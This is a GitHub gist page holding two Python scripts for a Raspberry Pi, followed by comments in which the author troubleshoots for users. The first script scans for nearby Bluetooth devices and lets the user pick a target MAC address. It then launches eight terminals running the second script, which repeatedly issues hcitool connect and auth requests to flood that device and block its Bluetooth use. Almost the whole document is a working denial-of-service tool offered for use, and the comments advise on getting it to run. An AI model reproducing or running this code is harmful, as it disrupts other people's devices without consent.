Last active
June 16, 2024 11:08
-
-
Save robertosw/0361be6d9cbf9ab6010c174f0195f87c to your computer and use it in GitHub Desktop.
Bluetooth spam, blocking choosen device
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# I got all in /home/pi - change directories if put somewhere else | |
import time | |
import os | |
path = '/home/pi/mac.txt' | |
mac_file = open(path, 'r') | |
attackmac = mac_file.read() | |
path = '/home/pi/attacktime.txt' | |
atk_file = open(path, 'r') | |
attacktime = atk_file.read() | |
attacktimeint = int(attacktime) | |
timeout = time.time() + attacktimeint | |
while True: | |
os.system("sudo hcitool cc --role=m "+ attackmac) | |
os.system("sudo hcitool auth "+ attackmac ) | |
if time.time() > timeout: | |
break |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# I got all in /home/pi - change directories if put somewhere else | |
import bluetooth | |
import sys | |
import serial | |
import os | |
import time | |
import subprocess | |
attacktime = 1*60 #one minute, you can change that | |
attacktimestr = str(attacktime) | |
path = '/home/pi/attacktime.txt' #you need to create this file, I've been to lazy letting it create one and then check every time if its there | |
atk_file = open(path, 'w') | |
atk_file.write(attacktimestr) | |
atk_file.close() | |
#scanning for bluetooth devices | |
os.system("sudo hcitool scan --length=3") | |
print("") | |
#inquiring bluetooth devices, used to key out mac adress | |
cmd = ["hcitool", "inq"] | |
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE) | |
output, _ = proc.communicate() | |
newoutput = "" | |
newoutput = str(output) | |
print("1:",(newoutput[19:36])) | |
mac1=(newoutput[19:36]) | |
print("2:",(newoutput[79:96])) | |
mac2=(newoutput[79:96]) | |
print("3:",(newoutput[139:156])) | |
mac3=(newoutput[139:156]) | |
print("4:",(newoutput[199:216])) | |
mac4=(newoutput[199:216]) | |
print("5:",(newoutput[259:276])) | |
mac5=(newoutput[259:276]) | |
print("6:",(newoutput[319:336])) | |
mac6=(newoutput[319:336]) | |
print("7:",(newoutput[379:396])) | |
mac7=(newoutput[379:396]) | |
print("8:",(newoutput[439:456])) | |
mac8=(newoutput[439:456]) | |
print("9:",(newoutput[499:516])) | |
mac9=(newoutput[499:516]) | |
print("") | |
print("c-cancel") | |
userinput = input('which MAC (1-9 or "c"):') | |
print(userinput) | |
#handle for user input | |
if userinput == "c": | |
os.system("clear") | |
os.system("quit()") | |
elif userinput == "1": | |
attackmac = mac1 | |
elif userinput == "2": | |
attackmac = mac2 | |
elif userinput == "3": | |
attackmac = mac3 | |
elif userinput == "4": | |
attackmac = mac4 | |
elif userinput == "5": | |
attackmac = mac5 | |
elif userinput == "6": | |
attackmac = mac6 | |
elif userinput == "7": | |
attackmac = mac7 | |
elif userinput == "8": | |
attackmac = mac8 | |
elif userinput == "9": | |
attackmac = mac9 | |
path = '/home/pi/mac.txt' #you need to create this file, I've been to lazy letting it create one and then check every time if its there | |
mac_file = open(path, 'w') | |
mac_file.write(attackmac) | |
mac_file.close() | |
command=("python3 autospam.py") | |
os.system("lxterminal --command=" + "'" + command + "'" + "&") | |
os.system("lxterminal --command=" + "'" + command + "'" + "&") | |
os.system("lxterminal --command=" + "'" + command + "'" + "&") | |
os.system("lxterminal --command=" + "'" + command + "'" + "&") | |
os.system("lxterminal --command=" + "'" + command + "'" + "&") | |
os.system("lxterminal --command=" + "'" + command + "'" + "&") | |
os.system("lxterminal --command=" + "'" + command + "'" + "&") | |
os.system("lxterminal --command=" + "'" + command + "'" + "&") | |
a = input("just hit enter to close, its to find errors ") |
Author
robertosw
commented
Dec 12, 2020
via email
Then please replace "lxterminal" at the end of the code with "shelly" or
"termius". Then that should work.
And yes, some devices only use a really "weak" and powersaving Bluetooth
until they are paired with a device and you probably can attack them
Marckcity <[email protected]> schrieb am Sa., 12. Dez. 2020, 08:40:
… ***@***.**** commented on this gist.
------------------------------
I have to test again more exactly but I use standard ssh terminal programs
like termius or shelly. ok that means you can only block bt with it when
the devices are in pairing mode?
Regards
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<https://gist.github.com/0361be6d9cbf9ab6010c174f0195f87c#gistcomment-3558964>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/ALI4W3ZLPGHLNQFC7JGJ5C3SUMM7BANCNFSM4NAKGKNQ>
.
Hello all,
I don't get anz error but I also don't get any mac adress. Does somebody know why?
I had the same problem with my own speaker. They are perfectly hidden once
someone connected to them. But it's how this version of pairing works, and
I dont know how to find them eitherway. Sorry
sabinecelina <[email protected]> schrieb am Do., 28. Jan. 2021,
13:45:
… ***@***.**** commented on this gist.
------------------------------
Hello all,
I don't get anz error but I also don't get any mac adress. Does somebody
know why?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<https://gist.github.com/0361be6d9cbf9ab6010c174f0195f87c#gistcomment-3610996>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/ALI4W362MXXYKF2NACQB2NDS4FL53ANCNFSM4NAKGKNQ>
.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment